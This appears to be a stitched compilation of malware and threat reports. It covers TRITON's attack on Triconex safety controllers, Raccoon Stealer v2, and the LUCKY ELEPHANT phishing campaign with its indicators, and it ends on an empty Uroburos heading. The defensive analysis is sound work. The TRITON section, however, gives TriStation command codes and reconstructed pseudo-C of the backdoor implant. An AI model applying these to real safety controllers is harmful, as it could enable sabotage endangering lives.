Last month FireEye released a report detailing an incident that their subsidiary Mandiant responded to at a critical infrastructure organization. Here, a malware framework, dubbed TRITON (also referred to as TRISIS or HatMan), was discovered targeting the Schneider Electric Triconex line of industrial safety systems, allegedly in order to cause physical damage and shut down operations. The activity was believed to be consistent with a nation-state preparing for an attack. According to a Dragos report on the same malware, their team discovered TRITON being deployed against at least one victim in the Middle East in mid-November 2017.
This blog post aims to discuss the incident background, the TRITON framework, and the attack payload in an effort to clarify this attack in particular and attacks on industrial safety systems in general. It draws upon previously published reports by FireEye, Dragos, and ICS-CERT as well as analysis by Midnight Blue and Ali Abbasi of the publicly available malware. Further details of the incident and malware are likely to be discussed by others during this week's S4x18 TRITON/TRISIS session.
## Summary
TRITON is the first publicly known example of malware targeting industrial safety controllers, an escalation with serious potential consequences compared to previous ICS-focused incidents. It has been deployed against at least one victim in the Middle East with no indications of victims outside of the Middle East so far. TRITON is a framework for implanting Schneider Electric Triconex safety controllers with a passive backdoor through which attackers can, at a later point in time, inject potentially destructive payloads.
Though the potential impact is very serious (including infrastructural damage and loss of life resulting from sabotaging critical safety systems), it is important to nuance the threat posed by the discovery of this malware, especially when the original attacker intent remains speculative. In addition, the attack is not very scalable even against other Triconex safety controllers due to the complexity of required industrial process comprehension. However, a sufficiently knowledgeable and well-resourced attacker seeking to target a facility using Triconex controllers as part of its safety systems could repurpose TRITON, thereby lowering the bar somewhat by removing the barrier of reverse-engineering the proprietary TriStation protocol. The incident is illustrative of various woes in the industrial cybersecurity world which have been discussed extensively over the past years, ranging from devices that are 'insecure by design' and have been exposed to hyper-connected environments they were not quite designed for to a lack of basic IT/OT security hygiene and early warning insights on the part of asset owners.
## Background
TRITON is one of the few publicly known examples of malware targeting Industrial Control Systems (ICS), after Stuxnet, Havex, Blackenergy2, and Industroyer, and the first publicly known example of malware targeting industrial safety controllers specifically. Safety Instrumented Systems (SIS) are autonomous control systems tasked with maintaining automated process safe states and are typically used to implement safety logic in critical processes where serious damage or loss of life might be a risk. This is done by, for example, monitoring temperature or pressure via sensor inputs and halting the flow or heating of gases when dangerous thresholds are exceeded. They are usually connected to actuators (e.g., for opening or closing a valve) in order to override normal process control and halt the runaway process.
Safety controllers are typically a kind of Programmable Logic Controller (PLC) designed to high standards with redundant modules and tend to have components that allow for safe failure in case the main processor fails or power is lost. They are deployed in a manner specific to the process environment requirements and are usually configured in one of the IEC 61131-3 programming languages (e.g., LD, ST, etc.). Of course, safety is not quite the same as security, and safety controllers tend to have the same kind of 'insecure by design' profile as a regular PLC: i.e., everything from hardcoded maintenance backdoor accounts to insecure proprietary protocols.
Traditionally, SIS connectivity is limited, and systems are segregated from the rest of the Operational Technology (OT) environment, which would limit the potential impact of safety controller security issues. But over the years, as part of a broader trend in embedded systems in general, this isolation has made way for more and more connectivity and systems integration. While this integration comes with benefits in terms of cost, usability, and process insights for business intelligence purposes, the flip side is that it exposes systems that were never designed for secure connectivity in the first place to the wider OT and IT environments and by extension to whatever the wider network itself is exposed to. The potential implications of a malicious SIS-compromising attacker are serious and could range from shutting down a process to allowing for unsafe states and manipulating other parts of the OT environment to create such a state which might result in financial losses, damage to equipment, products, and the environment, or human safety and loss of life.
But it's important to nuance this image and avoid alarmist headlines. First of all, because fear, uncertainty, and doubt cause sensible analysis and good advice to be lost amid sensationalism and help create a 'boy who cried wolf' effect where the stock that ICS equipment vendors and OT asset owners and operators put in the opinions of the security industry as a whole erodes over time. Secondly, while the initial steps along the 'ICS Kill Chain', up to and including the compromise of the safety controller, might seem relatively simple, crafting the 'OT payload' that actually does the damage is typically neither easy nor scalable. As pointed out by Benjamin Green, Marina Krotofil, and Ali Abbasi, such attacks require a high level of process comprehension which would have to be derived from analysis of acquired documents, diagrams, data historian files, device configurations, and network traffic. This would have to be done on a facility-to-facility basis since even attacks against two functionally similar facilities will require attackers to take differences in process scale and design, equipment, and device configuration into account.
In the case of SIS, that means that a security compromise does not trivially compromise process safety. Apart from the SIS, the facility in question might have safety measures ranging from sacrificial parts in machines, enclosures, and blast dampers to alarms and emergency procedures, and as such assessing the implications of SIS compromise would require facility-specific process comprehension as well. This does not mean that such worst-case scenarios are infeasible but that the attacker space capable of bringing them about and their scalability are more limited than often portrayed.
## The Incident
The FireEye report claims that the attacker gained remote access to a Triconex engineering workstation running Microsoft Windows as well as the Distributed Control System (DCS). The attacker deployed a Py2EXE application, which was disguised as a benign Triconex log reviewing application named Trilog.exe, containing the TRITON framework on the engineering workstation together with two binary payload files named inject.bin and imain.bin. TRITON does not leverage any 0-days but instead reprograms the target safety controllers via the TriStation protocol, which lacks authentication (though ACLs could have been configured on the controllers). As the TriStation protocol is proprietary and undocumented, this means the attacker had to reverse engineer it, possibly through a combination of using similarities with the documented Triconex System Access Application (TSAA) protocol, inspection of traffic between the engineering workstation and the controller, and reverse-engineering of workstation software and controller firmware.
The TRITON framework is capable of autodiscovering Triconex controllers on the network by sending a UDP broadcast message over port 1502, but this functionality was not used during the incident. Instead, the IP addresses of the target controllers were specified directly, and upon connection, the status of the controller was retrieved over TriStation. If the controller was running, the inject.bin and imain.bin payload files were injected into the controller program memory, and a periodic check was initiated to see if any error was detected. If so, TRITON would reset the controller to the previous state over TriStation, and if this failed, it would write a dummy program to memory in what was likely an attempt at anti-forensics. During the incident, the industrial process was shut down as a result of some controllers entering a failed safe state, which caused the asset owner to initiate the investigation. The cause of this failed safe state was reportedly a failed validation check between the three separate redundant Triconex processor modules.
The fact that both the DCS and SIS systems were compromised suggests the attacker intended to cause serious damage rather than a mere process shutdown. This hypothesis is strengthened (though not indisputably confirmed) by the fact that the attacker apparently made several attempts to deliver a specific control logic to the safety controllers rather than merely shut them down.
## Triconex Safety Instrumented Systems (SIS)
The Schneider Electric Triconex line of safety controllers consists of the Tricon (CX), Trident, and Tri-GP systems, all of which share the triple modular redundancy (TMR) architecture. While the incident targeted Tricon 3008 controllers specifically, the heart of the attack is the (ab)use of the unauthenticated TriStation protocol, and as such, all safety controllers running this protocol are potentially affected.
According to the Planning and Installation Guide for Tricon v9–v10 Systems, a basic Tricon controller consists of the Main Processors, I/O modules, communication modules, chassis, field wiring connections, and an engineering workstation PC communicating with the controller over TriStation. A chassis houses three Main Processor (MP) Modules, each of which serves one channel (or 'leg') of the controller and independently executes the control program and communicates with its own I/O subsystem (every I/O module has three independent channels for serving the three MPs) in parallel with the other Main Processors. The three MP modules, which operate autonomously without shared clocks, power regulation, or circuitry, then compare data and control program at periodic intervals and synchronize with their neighbors over a high-speed proprietary communications bus named TriBus. TriBus consists of three independent serial links. Hardware voting on the I/O data takes place over TriBus among the MPs, and if disagreement occurs, the signal in two out of three prevails, and the third MP is corrected. Here, one-time differences are distinguished from patterns of differences. This Triple Modular Redundant (TMR) architecture is designed for fault tolerance in the face of transient faults or component failures.
There are a variety of communication modules, talking to the Main Processors over the communication bus, for Triconex controllers to facilitate serial and network communications across a variety of protocols. Examples include the Advanced Communication Module (ACM), which acts as an interface between a Tricon controller and a Foxboro Intelligent Automation (I/A) Series DCS, the Hiway Interface Module (HIM), which acts as an interface between a Tricon controller and a Honeywell TDC-3000 control system, or the Tricon Communication Module (TCM), which allows communications with TriStation, other Triconex controllers, Modbus master/slave devices, and external hosts over Ethernet networks. These communications include the documented Tricon System Access Application (TSAA) protocol, a multi-slave master/slave protocol used to read and write data points, and the undocumented TriStation protocol, a single-slave master/slave protocol used by the TriStation 1131 or MSW engineering workstation software to develop and download the control program running on the Triconex controllers. By default, Ethernet communications for TSAA take place over UDP port 1500, while those for TriStation take place over UDP port 1502.
The Triconex controllers have a physical four-position key switch which can be set to either RUN (normal operation, read-only but can be overridden by a GATENB function block in the control program), PROGRAM (allows control program loading and verification), STOP (stop reading inputs, forces non-retentive digital and analog outputs to 0, and halts the control program. This position can be overridden by TriStation), or REMOTE (allows writes to control program variables). However, in the incident in question, the target controllers were left in PROGRAM mode, and the payload injected by TRITON allows subsequent malicious modifications by means of communications with the implant regardless of key switch position.
A control program is developed and debugged with the TriStation 1131 / MSW software, downloaded to the controller over the TriStation protocol, stored in Flash, and then loaded into SRAM or DRAM (depending on the Tricon version) to be executed by the Main Processor module. The control program is translated from one of the IEC 61131-3 languages (LD, FBD, ST) into native PowerPC machine code and interfaces only with the main processor.
Shortly after the incident was disclosed, the TRITON framework and payloads were found to be publicly available from multiple sources. The payload files (e.g., imain.bin) contain PowerPC shellcode, and from this, we can infer that the target Triconex controllers in the incident seem to have been using the Tricon 3008 Main Processor Modules. Since older Tricon MPs such as the 3006 or 3007 would use the 32-bit National Semiconductor 32GX32 and newer ones such as the 3009 use a (reportedly ARM) dual-core 32-bit processor running at 800MHz, the 3008 are the only Tricon MPs (to our knowledge) which use the PowerPC architecture. More specifically, they use the 32-bit Freescale PowerQUICC MPC860EN microcontroller, a detail which will be relevant when dissecting the shellcode payloads later on.
The Tricon 3008 MP runs the Enhanced Triconex System Executive (ETSX) firmware (stored in flash), which executes the control program on the main processor. On older Tricon MP modules, firmware updates had to take place by manually replacing EPROMs made accessible through cutouts in the module side panel, but on the Tricon 3008, firmware can be upgraded over Ethernet through the port on the front panel. This can be done by connecting the Ethernet port to a workstation PC running the TcxFwm.exe firmware manager. The dedicated Input and Output Control and Communication (IOCCOM) processor (also an MPC860EN) runs its own firmware separate from the ETSX, which can be upgraded in the same fashion using the firmware manager.
## The TRITON Framework
The rather lean TRITON framework was built to facilitate interacting with a Tricon controller via the unauthenticated TriStation protocol over Ethernet. It is capable of functionality such as reading and writing control programs and data, running and halting a program, and retrieving status information. The framework is written in Python and consists of the following components:
- **TS_cnames.py**: contains named lookup constants for TriStation protocol function and response codes as well as key switch and control program states.
- **TsHi.py**: the high-level interface of the framework which allows for reading and writing functions and programs as well as retrieving project information and interaction with the implant payload. Most interestingly, it includes the SafeAppendProgramMod function which fetches the program table, reads programs and functions, and appends supplied shellcode to an existing control program. It also handles CRC32 checksums where necessary.
- **TsBase.py**: acts as a translation layer between the high-level interface and the low-level TriStation function codes and data formatting for functionality such as uploading and downloading of programs or fetching control program status and module versions.
- **TsLow.py**: the lowest layer which implements the functionality to send TriStation packets crafted by the upper layers to the Tricon Communication Module (TCM) over UDP. Also includes auto-discovery of Tricon controllers by sending a UDP 'ping' broadcast message (0x06 0x00 0x00 0x00 0x00 0x88) on port 1502.
Finally, apart from the framework, there is a script named script_test.py which uses the framework to connect to a Tricon controller and inject a multi-stage payload described later on.
## The TriStation Protocol
The TriStation protocol is a typical UDP-based serial-over-Ethernet protocol as encountered throughout the world of industrial control systems. Request packets consist of a 2-byte function code (FC) followed by a counter ID, length field, and request data together with checksums. Responses consist of a response code (RC), length field, response data, and checksums.
While we will not exhaustively document the TriStation protocol as reconstructed from the TRITON framework here, the 'heart' of the TRITON attack lies in the following sequence of function codes and expected response codes:
- 'Start download change' (FC: 0x01). Expects 'Download change permitted' (RC: 0x66). Arguments are `[old_name] [version info] [new_name] [program info]`.
- 'Allocate program' (FC: 0x37). Expects 'Allocate program response' (RC: 0x99). Arguments are `[id] [next] [full_chunks] [offset] [len] [data]`.
- 'End download change' (FC: 0x0B). Expects 'Modification accepted' (RC: 0x67).
Apart from that, the following TriStation command is used to communicate with the implant after it has been successfully injected:
- 'Get MP status' (FC: 0x1D). Expects 'Get system variables response' (RC: 0x96). Arguments are `[cmd] [mp] [data]`.
Interestingly, the TriStation Developer's Guide mentions it is possible to restrict access to a Tricon controller from a TriStation PC. Projects themselves can be 'password protected' (though in practice this often comes down to a hashed or even plaintext password stored in the project file which the workstation software checks upon opening the project), and a password can be required for connecting to the controller (which is specified in the project and takes effect after it has been downloaded to the controller). Such a password is not present initially, and by default, the password is 'PASSWORD'. Seeing as how the TriStation protocol itself is unencrypted, however, any attacker capable of observing network traffic between the controller and workstation is likely to be able to circumvent such a protection. The developer's guide also mentions that model 4351A and 4352A TCMs allow for IP-based client access control lists to be specified which regulate access to a resource (ability to perform download change or download all, access to diagnostic information, etc.) at a certain level (deny, read only, or read/write). It seems that this functionality could potentially be used to restrict from what IP addresses the TRITON framework could inject its payload or communicate with the implant, but the strength of such a workaround would rely on mitigating the ability of the attacker to move laterally among engineering workstations. UDP IP spoofing could also be a problem here.
## The Payload
The payload used in the incident can be thought of as a four-stage shellcode. The first stage is an argument-setting piece of shellcode. The second stage is formed by inject.bin (which is currently not publicly available) which functions as an implant installer. The third stage is formed by imain.bin (discussed below) which functions as a backdoor implant capable of receiving and executing the fourth stage. The final stage would have been formed by an actual 'OT payload' performing the disruptive operations, but apparently, no such payload was recovered during the incident since the attacker was discovered while preparing the implant. A high-level description of the first two stages can be found in the United States Department of Homeland Security ICS-CERT report on TRITON/TRISIS/HatMan.
### Stage 1: Argument-Setter (PresetStatusField)
After connecting to the target controller, the script calls PresetStatusField which injects a piece of shellcode using SafeAppendProgramMod. What this shellcode does is iterate through memory from address 0x800000 to 0x800100 (in DRAM) until it finds an address where two 32-bit marker values 0x400000 and 0x600000 reside side-by-side. If it finds this, it writes a value (0x00008001) to offset 0x18 from this address. We reverse-engineered and created a cleaned-up pseudo-C for this shellcode:
```c
r2 = 0x800000;
while (true) {
if ((uint32_t)*(uint32_t*)(r2) == 0x400000) { // cp_status.us
if ((uint32_t)*(uint32_t*)(r2 + 4) == 0x600000) { // cp_status.ds
r2 += 0x18; // cp_status.fstat
*(uint32_t*)(r2) = (uint32_t)value;
break;
}
}
if ((r3 & 0xffffffff) >= 0x800100) {
break;
}
r2 += 4;
}
system_call(-1);
```
This shellcode writes the attacker-supplied value into the 'fstat' field of the Control Program (CP) Status structure. This is followed by a TriStation request for the CP status and a check to see whether the returned value equals the supplied value. The value in question (0x00008001) is used as an argument by the second-stage inject.bin shellcode.
### Stage 2: Implant Installer (inject.bin)
Since inject.bin has not been publicly released, we will limit our discussion here to what has been published by other parties and can be inferred from the publicly available materials. Based on these resources, it is our conjecture that inject.bin is an implant installer which relocates the imain.bin implant backdoor to part of the Enhanced Triconex System Executive (ETSX) in order to allow for attacker read/write/execute access to safety controller memory regardless of the Tricon key switch position.
After the argument-setting shellcode has been injected, inject.bin and imain.bin are injected using SafeAppendProgramMod. It is interesting to note here that imain.bin is sandwiched between two markers (0x1234 and 0x56789A) and length fields. The ICS-CERT report mentions inject.bin assumes the argument written by the first stage payload resides at a static address and uses it as 1) a countdown for the number of cycles to idle 2) a step counter to track and control execution progress and 3) a field for writing debug information upon failure. In this way, the attacker can monitor inject.bin for problems. If no problems are detected, 'Script SUCCESS' is output, and a dummy program containing nothing but a system_call(-1); is forcefully appended.
### Stage 3: Backdoor Implant (imain.bin)
The third stage shellcode, imain.bin, is a backdoor implant which allows an attacker to have read/write/execute access to safety controller memory regardless of the Tricon key switch position or any reset of control programs by the engineering workstation. This would allow an attacker to inject and execute a disruptive 'OT payload' at a later moment. It is currently unclear whether the backdoor would persist across a safety controller reboot as it seems to modify the in-memory copies of the control program and firmware rather than their on-flash copies. The FireEye report mentions that they patched the attacker script to allow for in-memory persistence of the payload, but this seems unrelated to cross-reboot persistence.
It is executed before the actual handler for the TriStation 'get main processor diagnostic data' command and looks for a specifically crafted packet body from which it extracts a command value and its arguments. It supports three commands: reading and writing from and to memory as well as executing code at an arbitrary address. It is capable of making non-persistent changes to the running firmware by disabling address translation, writing to it, and then flushing the instruction cache and re-enabling address translation.
The TRITON framework can communicate with the implant over the aforementioned channel by using the TsHi.ExplReadRam(Ex), TsHi.ExplWriteRam(Ex), and TsHi.ExplExec functions which utilize the TsBase.ExecuteExploit function. The latter function sends a TriStation 'get main processor diagnostic data' command with a crafted packet body of the form:
```c
[command (1 byte)] [MP (1 byte)] [field_0 (4 bytes)] [field_1 (4 bytes)] [field_2 (N bytes)]
```
We reverse-engineered the imain.bin implant and manually reconstructed the following approximation in pseudo-C:
```c
#define M_READ_RAM 0x17
#define M_WRITE_RAM 0x41
#define M_EXECUTE 0xF9
struct argument_struct {
uint16_t unknown_ui16_00;
uint8_t unknown_ui8_02;
uint16_t return_value;
uint8_t cmd; // cmd field
uint8_t mp; // mp field
uint32_t field_0; // argument field 0 (e.g., size)
uint32_t field_1; // argument field 1 (e.g., address)
uint8_t field_3[...] ; // argument field 3 (e.g., data)
};
void imain(void) {
arg = (struct argument_struct*)get_argument();
// Retrieve implant command and MP value
cmd = arg->cmd;
mp = arg->mp;
compare_mp = *(uint8_t*)(0x199400);
if ((mp == compare_mp) || (mp == 0xFF)) {
mp = arg->return_value;
// Check implant command
switch (cmd) {
// Read N bytes from RAM at address X
case M_READ_RAM: {
if (mp >= 0x14) {
size = arg->field_0;
address = arg->field_1;
if ((size > 0) && (size <= 0x400)) {
memcpy(&arg->cmd, address, size);
return_value = (size + 0xA);
} else {
goto main_end;
}
} else {
goto main_end;
}
} break;
// Write N bytes to RAM at address X
case M_WRITE_RAM: {
size = arg->field_0;
address = arg->field_1;
data = arg->field_3;
if ((size > 0) && (size == (mp - 0x14))) {
reenable_address_translation = 0;
if (address < 0x100000) {
reenable_address_translation = 1;
disable_address_translation();
}
memcpy(address, &data, size);
if (reenable_address_translation == 1) {
enable_address_translation();
}
return_value = 0xA;
} else {
goto main_end;
}
} break;
// Execute function at address X
case M_EXECUTE: {
if (mp >= 0x10) {
function_ptr = arg->field_0;
if (function_ptr < 0x100000) {
call(function_ptr);
return_value = 0xA;
} else {
goto main_end;
}
} else {
goto main_end;
}
} break;
}
switch_end:
arg->unknown_ui8_02 = 0x96;
arg->return_value = return_value;
tristation_mp_diagnostic_data_response();
}
// This most likely continues with the actual TriStation 'get main processor diagnostic data' handler
main_end:
jump(0x3A0B0);
}
void disable_address_translation(void) {
mtpsr eid, r3; // External Interrupt Disable (EID) = r3
r4 = -0x40; // 11111111111111111111111111011000; Sets IR=0 (Instruction address translation is disabled), DR=1 (Data address translation is enabled)
mfmsr r3; // r3 = Machine State Register
r3 = r4 & r3; // Disable instruction address translation
mtmsr r3; // Machine State Register = r3
return;
}
void enable_address_translation(void) {
r3 = 0xC000000; // 00001100000000000000000000000000; IC_CST CMD = 110 (Instruction cache invalidate all command)
mtspr ic_csr, r3; // Instruction Cache Control and Status Register = r3.
isync; // Synchronize context, flush instruction queue
mfmsr r3; // r3 = Machine State Register
r3 |= 0x30; // 110000; Sets IR=1 (Instruction address translation is enabled), DR=1 (Data address translation is enabled)
mtmsr r3; // Machine State Register = r3
sync; // Ordering to ensure all instructions initiated prior to the sync instruction complete and no subsequent ones initiate until synced
mtspr eie, r3; // External Interrupt Enable (EIE) = r3
return;
}
// This most likely retrieves the argument to the TriStation 'get main processor diagnostic data' command
void get_argument(void) {
r3 = r31;
jump(0x6B9CC);
}
// This most likely sends a response to the TriStation 'get main processor diagnostic data' command
void tristation_mp_diagnostic_data_response(void) {
r3 = r31;
jump(0x68F0C);
}
```
### Stage 4: Missing OT Payload
In order to affect operations beyond a mere process shutdown (i.e., the dreaded cyber-physical damage scenario), a fourth-stage 'OT payload' causing or facilitating a safety failure would be required. As mentioned before, however, it was claimed no OT payload was recovered during the incident. The absence of an OT payload on the compromised engineering workstation could imply it would have been dropped later after initial safety controller implantation tests had passed. It is conceivable an attacker would want to make sure multiple safety controllers were properly implanted and working before activating a possibly complicated (collection of) OT payload(s). But it's also possible the attacker hadn't started to develop a proper OT payload yet while they were already implanting the controllers. Regardless, any assessment of the attacker's end game under these conditions remains speculative. |
# Raccoon Stealer v2 Malware Analysis
**Aaron Stratton**
**September 29, 2022**
## Introduction
Raccoon Stealer is an infostealer sold on underground hacker/cybercriminal forums, first observed in early 2019. Raccoon Stealer v2 first appeared in June of 2022, after the developers returned from a supposed “retirement” which they had announced in early 2022. Just as with Raccoon Stealer v1, v2 is capable of stealing information to include cookies and other browser data, credit card data, usernames, and passwords.
## Technical Analysis
Raccoon Stealer v2 is written in C/C++, and coming in at only ~57kb, it is fairly lightweight. Below are the hashes for the packed sample, and the unpacked sample. Based on my research, Raccoon Stealer is not sold packed by default; rather, any packing must be done by the customer who will deploy the malware.
**Packed SHA256:**
40daa898f98206806ad3ff78f63409d509922e0c482684cf4f180faac8cac273
**Unpacked SHA256:**
0123b26df3c79bac0a3fda79072e36c159cfd1824ae3fd4b7f9dea9bda9c7909
## Unpacking
Unpacking this sample is pretty straightforward. All I did was place breakpoints on a few API calls of interest such as VirtualProtect, WriteProcessMemory, CreateProcessInternalW, and VirtualAlloc. Once the VirtualProtect breakpoint is hit, I followed the address in the EAX register in the memory dump, then ran the program again until the next breakpoint. After that, I was able to dump the payload from memory and continue my analysis.
## Resolving Imports
To start off, I opened the payload in PEstudio to perform some basic static analysis, which will guide how I carry out the rest of the analysis. Opening the binary in PEstudio, the small number of imported functions (only 8) leads me to believe that the malware probably resolves its imports dynamically.
Disassembling the binary in Ghidra, I found the import resolver function early on in the binary, as expected. This function simply uses the GetProcAddress API function to load the address of the functions it will need. A few of these functions immediately catch my eye, those being the internet related functions.
## Decrypting Strings and C2 IP Address
The malware also obfuscates its strings using Base64 encoding and RC4 encryption. The RC4 encrypted strings are stored in the Base64 encoded form. These strings are Base64 decoded, then decrypted using the RC4 key “edinayarossiya”, which means “United Russia” in Russian. Once the strings are decrypted, the malware then performs the same decryption routine for the C2 IP address, but using a different RC4 key.
With this RC4 key and Base64 encoded data, I could use cyberchef to get the IP address of the C2 node.
## Checking Mutex
Next, the malware checks to see if another instance of it is already running on the infected machine by opening a mutex with the value of 8724643052. If the OpenMutexW function fails and returns a 0, the malware creates a mutex with the value, then continues execution. If the function succeeds and returns 1 (true), the malware exits.
## SYSTEM Check and Process Enumeration
The malware also checks if it is running as SYSTEM by comparing the current process’s token to the SYSTEM SID, S-1–5–18. If the malware is running as SYSTEM, it then calls a process enumeration function using CreateToolHelpSnapshot32, Process32First, and Process32Next. If the malware is not running with SYSTEM privileges, it simply skips over the process enumeration function and continues with its execution.
## Host GUID and Username
Before connecting to the C2 node, the malware will retrieve the host’s GUID by querying the SOFTWARE\Microsoft\Cryptography registry key. The malware also retrieves the current user’s username and moves it, along with the machine ID onto the heap before contacting the C2 node.
## C2 Communication
First, the malware uses the WideCharToMultiByte API function to form all of the parameters it needs in order to connect to the C2 node, including the machineID, username, and configID parameters which will be sent to the C2 node via POST request. Of note, the configID parameter is just the RC4 key that was used to decrypt the C2 IP address earlier in the execution. The malware then checks to see if the response from the C2 node is larger than 0x3f (63 in decimal) characters long. If it is, the malware continues execution. If not, the malware breaks out of the loop and exits.
Unfortunately, at the time I performed my analysis, the C2 IP address did not appear to be up anymore, as Shodan showed that port 3389 (RDP) was the only listening port. Assuming that the C2 node was still operational and able to communicate with the infected host, the C2 node would return several different DLLs for download to the infected host. Those DLLs would then be placed in the “C:\Documents and Settings\Administrator\Local Settings\Application Data” folder. It is at this point that the malware would perform the bulk of its stealing functionality, including cookies, passwords, credit card data, passwords, browser history, etc. Some of this functionality would automatically be executed, and some would require a command from an operator in control of the C2 node.
## Conclusion
In conclusion, Raccoon Stealer v2 is a relatively simple, yet very capable info stealer just like v1. Both versions of this stealer pose a threat to organizations of all types, as well as individuals. The information stolen by this malware can be used to take over accounts of all types, financial, social media, corporate, etc. |
# LUCKY ELEPHANT Campaign Masquerading
## Executive Summary
In early March 2019, ASERT Researchers uncovered a credential harvesting campaign targeting mostly South Asian governments. The actors behind this campaign, referred to as LUCKY ELEPHANT, use doppelganger webpages to mimic legitimate entities such as foreign governments, telecommunications, and military. Interestingly, at least one IP address used in the campaign was previously associated with a suspected Indian APT group, and one domain was previously attributed to Chinese APT activity. It is unclear the purpose of the overlap in the infrastructure, but it’s possible the actors used it as a diversionary tactic.
**NOTE:** NETSCOUT AED/APS enterprise security products detect and block activity related to the LUCKY ELEPHANT campaign using our ATLAS Intelligence Feed (AIF).
## Key Findings
- ASERT uncovered a credential theft campaign we call LUCKY ELEPHANT where attackers masquerade as legitimate entities such as foreign governments, telecommunications, and military.
- The doppelganger webpages' primary purpose is to gather login credentials; we have not observed malware payloads associated with the campaign.
- One IP address used in the LUCKY ELEPHANT campaign was previously used by the suspected Indian APT DoNot Team; and at least one of the domains used for credential harvesting was previously attributed to a Chinese APT group.
## Capabilities
From at least February 2019 to present, the actors in the LUCKY ELEPHANT campaign copied webpages to mimic South Asian government websites as well as Microsoft Outlook 365 login pages and hosted them on their own doppelganger domains, presumably to trick victims into providing login credentials. They registered their doppelgangers with various top-level domains (TLD), specifically those that afford the actors registrant anonymity. ASERT suspects that the actors use phishing emails to lure victims to the doppelganger websites and entice users to enter their credentials. We have yet to uncover any malware associated with this campaign.
The actors download legitimate websites and webmail portals, which copies the entirety of its contents and web components. This method saves time and prevents the introduction of errors that could arouse suspicion.
## Victims
Many of the targeted entities are easily identified based on the copied webpages or the doppelganger names of the fake domains. To date, ASERT has no knowledge of successful compromise. The following is a list of the organizations mimicked:
**Pakistan:**
- Pakistan Atomic Energy Commission
- Pakistan Ministry of Foreign Affairs
- Pakistan National Telecom Corporation
- Pakistani Air Force
- Pakistan Ministry of Law & Justice
- Pakistan Prime Minister’s Office
- Frontier Works Organization
- Pakistan Ordnance Factories
- Pakistani Nuclear Regulatory Authority
**Bangladesh:**
- Bangladesh Air Force
- Bangladesh Navy
- Bangladesh Armed Services
- Rapid Action Battalion
**Sri Lanka:**
- Sri Lankan Air Force
**Maldives:**
- Maldives National Defense Force
**Myanmar:**
- Myanmar Ministry of Foreign Affairs
**Nepal:**
- Nepalese Army
- Nepalese Ministry of Foreign Affairs
**Shanghai Cooperation Organization:** (a Eurasian political, economic, and security alliance)
## Infrastructure
We discovered two active IP addresses: 128.127.105[.]13 and 179.43.169[.]20. Through the course of monitoring these IP addresses, we uncovered new doppelganger domains set up to facilitate the credential harvesting campaign. This activity started in February 2019 and appears to be ongoing. Though we don't have WHOIS data for the domains, we were able to track registration due to the small number of IP addresses utilized.
It is important to note that one domain, yahoomail[.]cf, is only associated with this group/campaign from February 2019 onward. In late 2018, the domain was associated with a different APT group/campaign of Chinese origin. The subdomains security[.]yahoomail[.]cf and cc[.]yahoomail[.]cf are related to the ExileRAT campaign Cisco Talos reported. It is unclear if the domain ownership change was coincidental or intended to confuse researchers.
## IOC List
- 103.243.173.253 mail-nepalarmymil-np.gq paec-gov-pk.ga
- 128.127.105.13 mail-ntc-net-pk.tk paec-gov-pk-taskmail.tk
- 179.43.169.20 mail-outlook-support-team.tk paecweb-gov.gq
- 77.244.211.55 mail-paf-gov.cf paecwebmail.gq
- account-sign-in-security.ga mail-sign-alert-notification.cf paf-gov-pk.cf
- account-update-com.tk mail-updates-systems.ga paf-gov-pk.ga
- account-updates-team.ga mail-update-task.ga paf-gov-pk.tk
- afd-gov-bd.gq mail-update-team.ga paknavy-pk.gq
- baf-mil-bd.tk mail-yahoo-com.tk pmo-gov-pk.tk
- checkbox.gq mail-yahoo-task.tk pnra-org.gq
- cyber-net-pk.cf micorsoft-outlook-update.ml pof-gov-pk.tk
- fwo-com.tk mofa-gov-mm.ml rab-gov-bd.gq
- g00gle-com.cf mofagov-np.cf sco-gov-pk.tk
- googlemail-com.gq mofa-gov-np.cf sharepoint-google.ml
- live-com.gq mofa-gov-pk.tk slaf-gov-lk.ml
- live-com.ml molaw-gov-pk.cf super-net-pk.cf
- live-service.cf outlook-com.cf super-net-pk.tk
- login-live-com.cf outlook-livecom.cf test-updates.ga
- login-yah00-com.tk outlook-live-com.cf userscontent.com
- login-yahoo-com.ga outlook-live.com.ga yahoo-com.ga
- live-com-owa.gq outlooklive-com.ml yahoomail.cf
- mail-account-security-com.cf outlook-live-com.tk yahoomail-com.cf
- mail-accounts-verify-com.cf outlookmail-com.tk yahoo-mail-com.ml
- mail-intl-ja-mail-about.gq paecgov-pk.cf
## Adversary
Based on our analysis into the activity, ASERT deems with moderate confidence that an Indian APT group is behind the LUCKY ELEPHANT campaign. The targets are typical of known Indian APT activity and the infrastructure was previously used by an Indian APT group. Phishing and credential theft are commonly observed with Indian targeting in-region.
One of the IP addresses, 128.127.105[.]13, was previously used by the DoNot Team (aka APT-C-35), a suspected Indian APT group. DoNot Team has a history of heavily targeting Pakistan, in addition to other neighboring countries. The 360 Intelligence Center observed four distinct campaigns against Pakistan since 2017, recently targeting Pakistani businessmen working in China. They also note that DoNot has targeted other South Asian countries for cyber espionage purposes. DoNot Team’s confirmed use of this IP dates back to September 2018, with a six-month gap until it was used to host doppelganger domains for the LUCKY ELEPHANT campaign in early February.
The targeting of Pakistan, Bangladesh, Sri Lanka, Maldives, Myanmar, Nepal, and the Shanghai Cooperation Organization are all historical espionage targets by India. The Indian government is particularly concerned with its neighboring countries, specifically regarding contested land; the targeting aligns with these concerns. The heavier targeting in Pakistan adheres to historical targeting and the ongoing tension between the two countries, which has escalated since a terrorist attack in Kashmir on 14 February 2019.
## Conclusion
Social engineering continues to be a key tool for adversaries to trick users into yielding valuable information. The actors behind LUCKY ELEPHANT recognize the effectiveness and use doppelganger webpages nearly identical to legitimate sites, enticing users to input their credentials. It is unclear exactly how effective and widespread this campaign is at gathering credentials, as well as how any compromised credentials are being used. However, it is clear that the actors are actively establishing infrastructure and are targeting governments in South Asia.
ASERT Researchers are interested in collaborating with others to further the collective knowledge of this campaign and we will tweet any additional IOCs under the Twitter handle @ASERTResearch.
## Recommendations
- Organizations with a presence in South Asia should be on the lookout for these IOCs and examine any “password” or “account”-themed emails.
- Users should always be wary when an email directs them to enter credentials of any kind.
- Users should be cognizant of websites with TLDs such as .tk, .ml, .ga, .gq, and .cf, as they are highly unlikely to be a legitimate government or corporate domain.
- Multi-factor authentication would likely prevent access from the compromised credentials.
- If compromise of credentials is suspected, administrators should:
- Perform an immediate password reset.
- Look for abnormal login activity that is outside the typical pattern of life for the legitimate user.
- Host infosec training for users and remind them they are a target--at work and home. |
# Uroburos – Deeper Travel into Kernel Protection Mitigation
